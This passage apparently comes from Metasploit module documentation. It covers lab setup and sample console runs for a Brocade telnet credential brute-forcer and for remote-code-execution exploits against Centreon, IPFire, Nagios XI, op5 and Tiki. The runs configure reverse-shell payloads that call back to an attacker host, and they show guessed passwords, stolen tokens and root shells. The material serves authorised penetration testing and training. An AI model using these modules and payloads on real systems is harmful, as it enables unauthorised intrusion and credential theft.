8. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example run against ICX6450-24 SWver 07.4.00bT311
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/telnet/brocade_enable_login
|
||||
msf auxiliary(brocade_enable_login) > set pass_file /passwords.lst
|
||||
pass_file => /passwords.lst
|
||||
msf auxiliary(brocade_enable_login) > set user_as_pass true
|
||||
user_as_pass => true
|
||||
msf auxiliary(brocade_enable_login) > set rhosts 192.168.50.1
|
||||
rhosts => 192.168.50.1
|
||||
msf auxiliary(brocade_enable_login) > run
|
||||
|
||||
[*] Attempting username gathering from config on 192.168.50.1
|
||||
[*] Found: admin@192.168.50.1
|
||||
[*] Found: read@192.168.50.1
|
||||
[*] Found: port@192.168.50.1
|
||||
[*] Attempting username gathering from running-config on 192.168.50.1
|
||||
[*] Found: admin@192.168.50.1
|
||||
[*] Found: read@192.168.50.1
|
||||
[*] Found: port@192.168.50.1
|
||||
[+] 192.168.50.1:23 - LOGIN SUCCESSFUL: admin:admin
|
||||
[*] Attempting to start session 192.168.50.1:23 with admin:admin
|
||||
[*] Command shell session 1 opened (192.168.50.2:57524 -> 192.168.50.1:23) at 2015-03-06 20:19:41 -0500
|
||||
[-] 192.168.50.1:23 - LOGIN FAILED: read:admin (Incorrect: )
|
||||
[+] 192.168.50.1:23 - LOGIN SUCCESSFUL: read:read
|
||||
[*] Attempting to start session 192.168.50.1:23 with read:read
|
||||
[*] Command shell session 2 opened (192.168.50.2:49223 -> 192.168.50.1:23) at 2015-03-06 20:20:32 -0500
|
||||
[-] 192.168.50.1:23 - LOGIN FAILED: port:read (Incorrect: )
|
||||
[+] 192.168.50.1:23 - LOGIN SUCCESSFUL: port:port
|
||||
[*] Attempting to start session 192.168.50.1:23 with port:port
|
||||
[*] Command shell session 3 opened (192.168.50.2:34683 -> 192.168.50.1:23) at 2015-03-06 20:21:23 -0500
|
||||
[-] 192.168.50.1:23 - LOGIN FAILED: admin:port (Unable to Connect: )
|
||||
[-] 192.168.50.1:23 - LOGIN FAILED: admin:admin (Unable to Connect: )
|
||||
[-] 192.168.50.1:23 - LOGIN FAILED: admin:12345678 (Unable to Connect: )
|
||||
[-] 192.168.50.1:23 - LOGIN FAILED: read:port (Unable to Connect: )
|
||||
[-] 192.168.50.1:23 - LOGIN FAILED: read:read (Unable to Connect: )
|
||||
[-] 192.168.50.1:23 - LOGIN FAILED: read:12345678 (Unable to Connect: )
|
||||
[-] 192.168.50.1:23 - LOGIN FAILED: port:port (Unable to Connect: )
|
||||
[-] 192.168.50.1:23 - LOGIN FAILED: port:port (Unable to Connect: )
|
||||
[-] 192.168.50.1:23 - LOGIN FAILED: port:12345678 (Unable to Connect: )
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(brocade_enable_login) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Type Information Connection
|
||||
-- ---- ----------- ----------
|
||||
1 shell TELNET admin:admin (192.168.50.1:23) 192.168.50.2:57524 -> 192.168.50.1:23 (192.168.50.1)
|
||||
2 shell TELNET read:read (192.168.50.1:23) 192.168.50.2:49223 -> 192.168.50.1:23 (192.168.50.1)
|
||||
3 shell TELNET port:port (192.168.50.1:23) 192.168.50.2:34683 -> 192.168.50.1:23 (192.168.50.1)
|
||||
|
||||
msf auxiliary(brocade_enable_login) > session -i 1
|
||||
[-] Unknown command: session.
|
||||
msf auxiliary(brocade_enable_login) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
show sessions ?
|
||||
Unrecognized command
|
||||
BR-telnet@FWS624 Router#show ?
|
||||
802-1w Rapid Spanning tree IEEE 802.1w D10 status
|
||||
aaa Show TACACS+ and RADIUS server statistics
|
||||
access-list show IPv4 access-list information
|
||||
acl-on-arp Show ARP ACL filtering
|
||||
arp Arp table
|
||||
auth-mac-addresses MAC Authentication status
|
||||
batch Batch commands
|
||||
boot-preference System boot preference
|
||||
buffer-profile Displays active profile
|
||||
cable-diagnostics Show Cable Diagnostics
|
||||
chassis Power supply/fan/temperature
|
||||
clock System time and date
|
||||
configuration Configuration data in startup config file
|
||||
cpu-utilization CPU utilization rate
|
||||
debug Debug information
|
||||
default System default settings
|
||||
dot1x Dot1x information
|
||||
errdisable Errdisable status
|
||||
fdp CDP/FDP information
|
||||
flash Flash memory contents
|
||||
gvrp GVRP information
|
||||
inline inline power information
|
||||
interfaces Port status
|
||||
--More--, next page: Space, next line: Return key, quit: Control-c
|
||||
ip IP address setting
|
||||
ipv6 IP setting
|
||||
license Show license information
|
||||
link-aggregate 802.3ad Link Aggregation Information
|
||||
link-error-disable Link Debouncing Control
|
||||
link-keepalive Link Layer Keepalive
|
||||
lldp Link-Layer Discovery Protocol information
|
||||
local-userdb Local User Database information
|
||||
logging System log
|
||||
loop-detection loop detection status & disabled ports
|
||||
mac-address MAC address table
|
||||
media 1Gig/10G port media type
|
||||
memory System memory usage
|
||||
metro-ring Metro ring protocol information
|
||||
mirror Mirror ports
|
||||
module Module type and status
|
||||
monitor Monitor ports
|
||||
mstp show MSTP (IEEE 802.1s) information
|
||||
optic Optic Temperature and Power
|
||||
port Show port security
|
||||
priority-mapping 802.1Q tagged priority setting
|
||||
processes Active process statistics
|
||||
protected-link-group Show Protected Link Group Details
|
||||
--More--, next page: Space, next line: Return key, quit: Control-c
|
||||
ptrace Global ptrace information
|
||||
qd-buffer-profile User configured buffer/descriptor profiles
|
||||
qos-profiles QOS configuration
|
||||
qos-tos IPv4 ToS based QoS
|
||||
radius show radius server debug info
|
||||
rate-limit Rate-limiting table and actions
|
||||
redundancy Display management redundancy details
|
||||
relative-utilization Relative utilization list
|
||||
reload Scheduled system reset
|
||||
reserved-vlan-map Reserved VLAN map status
|
||||
rmon Rmon status
|
||||
running-config Current running-config
|
||||
scheduler-profile User configured scheduling profiles
|
||||
sflow sFlow information
|
||||
snmp SNMP statistics
|
||||
sntp Show SNTP
|
||||
span Spanning tree status
|
||||
statistics Packet statistics
|
||||
stp-bpdu-guard BPDU Guard status
|
||||
stp-group Spanning Tree Group Membership
|
||||
stp-protect-ports Show stp-protect enabled ports and their BPDU drop
|
||||
counters
|
||||
table-mac-vlan MAC Based VLAN status
|
||||
--More--, next page: Space, next line: Return key, quit: Control-c
|
||||
tech-support System snap shot for tech support
|
||||
telnet Telnet connection
|
||||
topology-group Topology Group Membership
|
||||
traffic-policy Show traffic policy definition
|
||||
trunk Show trunk status
|
||||
users User accounts
|
||||
v6-l4-acl-sessions Show IPv6 software sessions
|
||||
version System status
|
||||
vlan VLAN status
|
||||
vlan-group VLAN Group Membership
|
||||
voice-vlan Show voice vlan
|
||||
vsrp Show VSRP commands
|
||||
web-connection Current web connections
|
||||
webauth web authentication information
|
||||
who User login
|
||||
| Output modifiers
|
||||
<cr>
|
||||
BR-telnet@FWS624 Router#
|
||||
```
|
||||
|
||||
Example run against emulator mentioned above:
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/telnet/brocade_enable_login
|
||||
msf auxiliary(brocade_enable_login) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(brocade_enable_login) > set user_as_pass true
|
||||
user_as_pass => true
|
||||
msf auxiliary(brocade_enable_login) > set pass_file /passwords.lst
|
||||
pass_file => /passwords.lst
|
||||
msf auxiliary(brocade_enable_login) > run
|
||||
|
||||
[*] Attempting username gathering from config on 127.0.0.1
|
||||
[*] Found: username@127.0.0.1
|
||||
[*] Found: ttrogdon@127.0.0.1
|
||||
[*] Found: dmudd@127.0.0.1
|
||||
[*] Attempting username gathering from running-config on 127.0.0.1
|
||||
[*] Found: TopDogUser@127.0.0.1
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: username:username (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: username:12345678 (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: username:123456 (Incorrect: )
|
||||
[+] 127.0.0.1:23 - LOGIN SUCCESSFUL: username:password
|
||||
[*] Attempting to start session 127.0.0.1:23 with username:password
|
||||
[*] Command shell session 1 opened (127.0.0.1:60089 -> 127.0.0.1:23) at 2015-03-06 20:05:57 -0500
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: ttrogdon:password (Incorrect: )
|
||||
[+] 127.0.0.1:23 - LOGIN SUCCESSFUL: ttrogdon:ttrogdon
|
||||
[*] Attempting to start session 127.0.0.1:23 with ttrogdon:ttrogdon
|
||||
[*] Command shell session 2 opened (127.0.0.1:33204 -> 127.0.0.1:23) at 2015-03-06 20:06:47 -0500
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:ttrogdon (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:dmudd (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:12345678 (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:123456 (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:password (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:passwords (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:ports (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:admin (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: dmudd:read (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:ttrogdon (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:TopDogUser (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:12345678 (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:123456 (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:password (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:passwords (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:ports (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:admin (Incorrect: )
|
||||
[-] 127.0.0.1:23 - LOGIN FAILED: TopDogUser:read (Incorrect: )
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(brocade_enable_login) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Type Information Connection
|
||||
-- ---- ----------- ----------
|
||||
1 shell TELNET username:password (127.0.0.1:23) 127.0.0.1:60089 -> 127.0.0.1:23 (127.0.0.1)
|
||||
2 shell TELNET ttrogdon:ttrogdon (127.0.0.1:23) 127.0.0.1:33204 -> 127.0.0.1:23 (127.0.0.1)
|
||||
|
||||
msf auxiliary(brocade_enable_login) >
|
||||
```
|
||||
@@ -0,0 +1,211 @@
|
||||
## Vulnerable Application
|
||||
|
||||
1. [Exploit-db](https://www.exploit-db.com/apps/bf269a17dd99215e6dc5d7755b521c21-centreon-2.5.3.tar.gz)
|
||||
2. Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
Creating a testing environment for this application contained many steps, so I figured I would document the process here.
|
||||
|
||||
1. Create a fresh install of Ubuntu 16.04. I used a LAMP install. My user was `centreon`
|
||||
2. Install php5.6 [askubuntu](http://askubuntu.com/questions/756181/installing-php-5-6-on-xenial-16-04)
|
||||
```
|
||||
sudo apt purge `dpkg -l | grep php| awk '{print $2}' |tr "\n" " "`
|
||||
sudo add-apt-repository ppa:ondrej/php
|
||||
sudo apt-get install php5.6
|
||||
sudo apt-get install php5.6-mbstring php5.6-mcrypt php5.6-mysql php5.6-xml php5.6-gd php5.6-ldap php5.6-sqlite3
|
||||
sudo apt-get install build-essential cmake librrd-dev libqt4-dev libqt4-sql-mysql libgnutls28-dev python-minimal
|
||||
sudo apt-get install tofrodos bsd-mailx lsb-release mysql-server libmysqlclient-dev apache2 php-pear rrdtool librrds-perl libconfig-inifiles-perl libcrypt-des-perl libdigest-hmac-perl libgd-gd2-perl snmp snmpd libnet-snmp-perl libsnmp-perl
|
||||
select OK
|
||||
select No Configuration
|
||||
sudo apt-get install snmp-mibs-downloader
|
||||
```
|
||||
3. Enable php5.6 in Apache with `a2enmod`, disable php7.0 with `a2dismod`
|
||||
```
|
||||
a2enmod php5.6
|
||||
a2dismod php7.0
|
||||
```
|
||||
4. Restart apache with `sudo apache2ctl restart`
|
||||
5. Install [Nagios Plugins](https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/3/en/quickstart-ubuntu.html) starting at step 6. The plugins link is broken, utilize [nagios-plugins-2.1.1.tar.gz](http://www.nagios-plugins.org/download/nagios-plugins-2.1.1.tar.gz) instead
|
||||
```
|
||||
wget http://www.nagios-plugins.org/download/nagios-plugins-2.1.1.tar.gz
|
||||
tar xvf nagios-plugins-2.1.1.tar.gz
|
||||
cd nagios-plugins-2.1.1/
|
||||
./configure
|
||||
make
|
||||
sudo make install
|
||||
```
|
||||
5.1 If during make, you get an sslv3 method not found error (https://support.nagios.com/forum/viewtopic.php?f=35&t=36601&p=168235&hilit=SSLv3#p168235)
|
||||
```
|
||||
--- plugins/sslutils.c.orig 2016-01-14 20:02:06.419867000 +0100
|
||||
+++ plugins/sslutils.c 2016-01-14 20:01:36.091492000 +0100
|
||||
@@ -70,8 +70,13 @@
|
||||
#endif
|
||||
break;
|
||||
case 3: /* SSLv3 protocol */
|
||||
+#if defined(OPENSSL_NO_SSL3)
|
||||
+ printf(("%s\n", _("CRITICAL - SSL protocol version 3 is not supported by your SSL library.")));
|
||||
+ return STATE_CRITICAL;
|
||||
+#else
|
||||
method = SSLv3_client_method();
|
||||
ssl_options = SSL_OP_NO_SSLv2 | SSL_OP_NO_TLSv1;
|
||||
+#endif
|
||||
break;
|
||||
default: /* Unsupported */
|
||||
printf("%s\n", _("CRITICAL - Unsupported SSL protocol version."));
|
||||
```
|
||||
6. Install [Centreon clib](https://documentation.centreon.com/docs/centreon-clib/en/latest/installation/index.html)
|
||||
```
|
||||
cd ~
|
||||
git clone https://github.com/centreon/centreon-clib
|
||||
cd centreon-clib/build
|
||||
cmake .
|
||||
make
|
||||
sudo make install
|
||||
```
|
||||
7. Install [Centreon Broker](https://documentation.centreon.com/docs/centreon-broker/en/2.11/installation/index.html)
|
||||
```
|
||||
cd ~
|
||||
git clone https://github.com/centreon/centreon-broker
|
||||
cd centreon-broker/build/
|
||||
cmake -DWITH_STARTUP_DIR=/etc/init.d -DWITH_STARTUP_SCRIPT=sysv .
|
||||
make
|
||||
sudo make install
|
||||
```
|
||||
8. Install [Centreon Engine](https://documentation.centreon.com/docs/centreon-engine/en/latest/installation/index.html)
|
||||
```
|
||||
cd ~
|
||||
git clone https://github.com/centreon/centreon-engine
|
||||
cd centreon-engine/build/
|
||||
cmake -DWITH_STARTUP_DIR=/etc/init.d -DWITH_STARTUP_SCRIPT=sysv .
|
||||
make
|
||||
sudo make install
|
||||
```
|
||||
9. Now install [Centreon Web](https://documentation.centreon.com/docs/centreon/en/2.5.x/installation/from_sources.html) but only the command line portion.
|
||||
```
|
||||
sudo mkdir /var/log/centreon-engine
|
||||
cd ~
|
||||
sudo pear install XML_RPC-1.4.5
|
||||
(may need to install php-xml)
|
||||
wget https://www.exploit-db.com/apps/bf269a17dd99215e6dc5d7755b521c21-centreon-2.5.3.tar.gz
|
||||
tar vxf bf269a17dd99215e6dc5d7755b521c21-centreon-2.5.3.tar.gz
|
||||
cd centreon-2.5.3
|
||||
sudo ./install.sh -i
|
||||
<enter>
|
||||
q
|
||||
y
|
||||
y
|
||||
y
|
||||
y
|
||||
y
|
||||
<enter>
|
||||
y
|
||||
<enter>
|
||||
y
|
||||
<enter>
|
||||
y
|
||||
<enter>
|
||||
y
|
||||
<enter>
|
||||
y
|
||||
<enter>
|
||||
<enter>
|
||||
<enter>
|
||||
centreon
|
||||
<enter>
|
||||
/var/log/centreon-engine
|
||||
/home/centreon/nagios-plugins-2.1.1/plugins
|
||||
<enter>
|
||||
/etc/init.d/centengine
|
||||
/usr/local/bin/centengine
|
||||
/usr/local/etc/
|
||||
/usr/local/etc/
|
||||
/etc/init.d/centengine
|
||||
<enter>
|
||||
y
|
||||
y
|
||||
y
|
||||
<enter>
|
||||
y
|
||||
<enter>
|
||||
<enter>
|
||||
y
|
||||
y
|
||||
<enter>
|
||||
y
|
||||
y
|
||||
<enter>
|
||||
y
|
||||
<enter>
|
||||
<enter>
|
||||
y
|
||||
y
|
||||
```
|
||||
10. Fix apache config
|
||||
```
|
||||
sudo cp /etc/apache2/conf.d/centreon.conf /etc/apache2/conf-available/
|
||||
sudo sed -i 's/Order allow,deny/Require all granted/' /etc/apache2/conf-available/centreon.conf
|
||||
sudo sed -i 's/allow from all//' /etc/apache2/conf-available/centreon.conf
|
||||
sudo a2enconf centreon
|
||||
sudo service apache2 reload
|
||||
```
|
||||
11. Configure via website. Browse to <ip>/centreon
|
||||
```
|
||||
next
|
||||
next
|
||||
select centreon-engine
|
||||
/usr/local/lib/centreon-engine
|
||||
/usr/local/bin/centenginestats
|
||||
/usr/local/lib/centreon-engine
|
||||
/usr/local/lib/centreon-engine
|
||||
/usr/local/lib/centreon-engine
|
||||
next
|
||||
select centreon-broker
|
||||
/usr/local/lib/centreon-broker
|
||||
/usr/local/lib/cbmod.so
|
||||
/usr/local/lib/centreon-broker
|
||||
/usr/local/lib/centreon-broker
|
||||
/usr/local/lib/centreon-broker
|
||||
next
|
||||
Pick whatever details about your user you want, next
|
||||
Fill in mysql Root password, next
|
||||
next
|
||||
next
|
||||
finish
|
||||
```
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/centreon_useralias_exec`
|
||||
4. Do: `set payload`
|
||||
5. Do: `set rhost`
|
||||
6. Do: `check`
|
||||
7. Do: ```run```
|
||||
8. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Just a standard run.
|
||||
|
||||
msf > use exploit/linux/http/centreon_useralias_exec
|
||||
msf exploit(centreon_useralias_exec) > set payload cmd/unix/reverse_python
|
||||
payload => cmd/unix/reverse_python
|
||||
msf exploit(centreon_useralias_exec) > set lhost 192.168.2.229
|
||||
lhost => 192.168.2.229
|
||||
msf exploit(centreon_useralias_exec) > set rhost 192.168.2.85
|
||||
rhost => 192.168.2.85
|
||||
msf exploit(centreon_useralias_exec) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(centreon_useralias_exec) > check
|
||||
[+] Version Detected: 2.5.3
|
||||
[*] 192.168.2.85:80 The target appears to be vulnerable.
|
||||
msf exploit(centreon_useralias_exec) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||
[*] Sending malicious login
|
||||
[*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.85:36792) at 2016-06-11 20:44:57 -0400
|
||||
whoami
|
||||
www-data
|
||||
uname -a
|
||||
Linux centreon 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
@@ -0,0 +1,42 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.15-core82/ipfire-2.15.i586-full-core82.iso)
|
||||
Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the firewall
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/ipfire_bashbug_exec```
|
||||
4. Do: ```set rhost 10.10.10.10```
|
||||
5. Do: ```set PASSWORD admin```
|
||||
6. Do: ```set CMD ls```
|
||||
7. Do: ```run```
|
||||
8. You should see the output of the command that was run.
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is set at install. May be blank, 'admin', or 'ipfire'.
|
||||
|
||||
**CMD**
|
||||
|
||||
This is the command to run on the system.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example of running the ID command
|
||||
```
|
||||
msf > use exploit/linux/http/ipfire_bashbug_exec
|
||||
msf exploit(ipfire_bashbug_exec) > set PASSWORD admin
|
||||
PASSWORD => admin
|
||||
msf exploit(ipfire_bashbug_exec) > set rhost 192.168.2.202
|
||||
rhost => 192.168.2.202
|
||||
msf exploit(ipfire_bashbug_exec) > set CMD id
|
||||
CMD => id
|
||||
msf exploit(ipfire_bashbug_exec) > exploit
|
||||
|
||||
[+] uid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody)
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core100/ipfire-2.19.x86_64-full-core100.iso)
|
||||
Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the firewall
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/ipfire_proxy_exec```
|
||||
4. Do: ```set password admin``` or whatever it was set to at install
|
||||
5. Do: ```set rhost 10.10.10.10```
|
||||
6. Do: ```set payload cmd/unix/reverse_perl```
|
||||
7. Do: ```set lhost 192.168.2.229```
|
||||
8. Do: ```exploit```
|
||||
9. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is set at install. May be blank, 'admin', or 'ipfire'.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/ipfire_proxy_exec
|
||||
msf exploit(ipfire_proxy_rce) > set password admin
|
||||
password => admin
|
||||
msf exploit(ipfire_proxy_rce) > set rhost 192.168.2.201
|
||||
rhost => 192.168.2.201
|
||||
msf exploit(ipfire_proxy_rce) > set payload cmd/unix/reverse_perl
|
||||
payload => cmd/unix/reverse_perl
|
||||
msf exploit(ipfire_proxy_rce) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(ipfire_proxy_rce) > set lhost 192.168.2.229
|
||||
lhost => 192.168.2.229
|
||||
msf exploit(ipfire_proxy_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||
[*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.201:49997) at 2016-05-30 10:09:39 -0400
|
||||
|
||||
id
|
||||
uid=99(nobody) gid=99(nobody) groups=99(nobody),16(dialout),23(squid)
|
||||
whoami
|
||||
nobody
|
||||
```
|
||||
@@ -0,0 +1,73 @@
|
||||
## Intro
|
||||
|
||||
Nagios XI is the enterprise version of Nagios, the monitoring software we love
|
||||
and hate.
|
||||
|
||||
> This module exploits an SQL injection, auth bypass, file upload, command
|
||||
injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell.
|
||||
|
||||
## Setup
|
||||
|
||||
**Download the virtual appliance:**
|
||||
|
||||
I used the 64-bit OVA [here]. Remove the "-64" in the link to download the
|
||||
32-bit OVA.
|
||||
|
||||
[here]: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.2.7-64.ova
|
||||
|
||||
**Import the OVA:**
|
||||
|
||||
Just import it into VMware or VirtualBox. It should create a VM for you.
|
||||
|
||||
**Configure the software:**
|
||||
|
||||
When you start the VM, you will see ```Access Nagios XI at http://[redacted]```
|
||||
on the login screen. Connect to the URL using your web browser and follow the
|
||||
steps on the screen to configure the app.
|
||||
|
||||
Configuration is actually not required to exploit the app, but you should do it
|
||||
anyway.
|
||||
|
||||
## Usage
|
||||
|
||||
Just set ```RHOST``` and fire off the module! It's pretty much painless.
|
||||
```set VERBOSE true``` if you want to see details.
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/nagios_xi_chained_rce
|
||||
msf exploit(nagios_xi_chained_rce) > set rhost [redacted]
|
||||
rhost => [redacted]
|
||||
msf exploit(nagios_xi_chained_rce) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(nagios_xi_chained_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on [redacted]:4444
|
||||
[*] Nagios XI version: 5.2.7
|
||||
[*] Getting API token
|
||||
[+] API token: 3o2erpm0
|
||||
[*] Getting admin cookie
|
||||
[+] Admin cookie: nagiosxi=jcilcfptj7ogpvovgs3i5gilh7;
|
||||
[+] CSRF token: 477abd7db8d06ade9c7fcd9e405fd911
|
||||
[*] Getting monitored host
|
||||
[+] Monitored host: localhost
|
||||
[*] Downloading component
|
||||
[*] Uploading root shell
|
||||
[*] Popping shell!
|
||||
[*] Command shell session 1 opened ([redacted]:4444 -> [redacted]:60132) at 2016-07-01 00:12:20 -0500
|
||||
[*] Cleaning up...
|
||||
[*] rm -rf ../profile
|
||||
[*] unzip -qd .. ../../../../tmp/component-profile.zip
|
||||
[*] chown -R nagios:nagios ../profile
|
||||
[*] rm -f ../../../../tmp/component-xAmhUGRn.zip
|
||||
|
||||
3904334783
|
||||
TwMSxKhKEaxUjlTSNYyeICVUuPSNkwoI
|
||||
cKKdfdZxRpDduZCezKXOficrVyNeVggH
|
||||
mRVdstQmfdtnFiYMjLgyfvRWXyQZPyUF
|
||||
dDlRoqhBvqvwrhKYWumimyKxVHSbrkoE
|
||||
wjCWBTgbsQuPemhiByeMpMEhdPooHEvw
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
|
||||
uname -a
|
||||
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
@@ -0,0 +1,63 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Official Source: [op5.com](https://www.op5.com/blog/wpfb-file/op5-monitor-7-1-9-20160303-tar-gz/)
|
||||
Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
Just a few quick notes on setting up a vulnerable lab with this software.
|
||||
|
||||
1. The vulnerable version only installs on CentOS 6.x (author used 6.0 final)
|
||||
2. Within `php.ini`, `date.timezone = "America/New York"` to `date.timezone = "America/New_York"` if you get php errors
|
||||
3. You may need to register for a free license via an email challenge/verification
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the software, RHEL/CENTOS required (tested on CentOS 6)
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/op5_config_exec```
|
||||
4. Do: ```set payload linux/x86/shell/reverse_tcp```
|
||||
5. Do: ```set rhost 192.168.2.31```
|
||||
6. Do: ```set lhost 192.168.2.229```
|
||||
7. Do: ```exploit```
|
||||
8. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is 'monitor' by default.
|
||||
|
||||
**USERNAME**
|
||||
|
||||
Documentation was unclear on this. Installing just the app, the
|
||||
username was 'monitor' by default. However it looks like if you
|
||||
install the appliance it may be 'root'
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/op5_config_exec
|
||||
msf exploit(op5_config_exec) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(op5_config_exec) > set payload linux/x86/shell/reverse_tcp
|
||||
payload => linux/x86/shell/reverse_tcp
|
||||
msf exploit(op5_config_exec) > set rhost 192.168.2.31
|
||||
rhost => 192.168.2.31
|
||||
msf exploit(op5_config_exec) > set lhost 192.168.2.229
|
||||
lhost => 192.168.2.229
|
||||
msf exploit(op5_config_exec) > check
|
||||
|
||||
[+] Version Detected: 7.1.9
|
||||
[+] The target is vulnerable.
|
||||
msf exploit(op5_config_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||
[*] Sending stage (36 bytes) to 192.168.2.31
|
||||
[*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.31:52552) at 2016-06-01 14:38:41 -0400
|
||||
[*] Command Stager progress - 100.00% done (832/832 bytes)
|
||||
whoami
|
||||
monitor
|
||||
id
|
||||
uid=299(monitor) gid=48(apache) groups=48(apache),14(uucp),488(smstools) context=system_u:system_r:initrc_t:s0
|
||||
```
|
||||
@@ -0,0 +1,103 @@
|
||||
## Vulnerable Application
|
||||
|
||||
* Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/)
|
||||
* Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z)
|
||||
* Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
**Of note, there is some discussion if 14.2 is vuln or not.**
|
||||
|
||||
1. Exploit-DB says in the title (may be wrong) 14.2 is vuln.
|
||||
2. The linked app Exploit-DB has is 14.2.
|
||||
3. Its verified on Exploit-DB.
|
||||
|
||||
vs
|
||||
|
||||
1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
|
||||
2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
1. Create a fresh Ubuntu 16.04 w/ a LAMP install
|
||||
2. `apt-get install php-xml`
|
||||
3. Normal php install at that point!
|
||||
4. After install, login as admin:admin
|
||||
5. Go to the Control Panels
|
||||
6. Click Features
|
||||
7. Enable Calendar under Main feature
|
||||
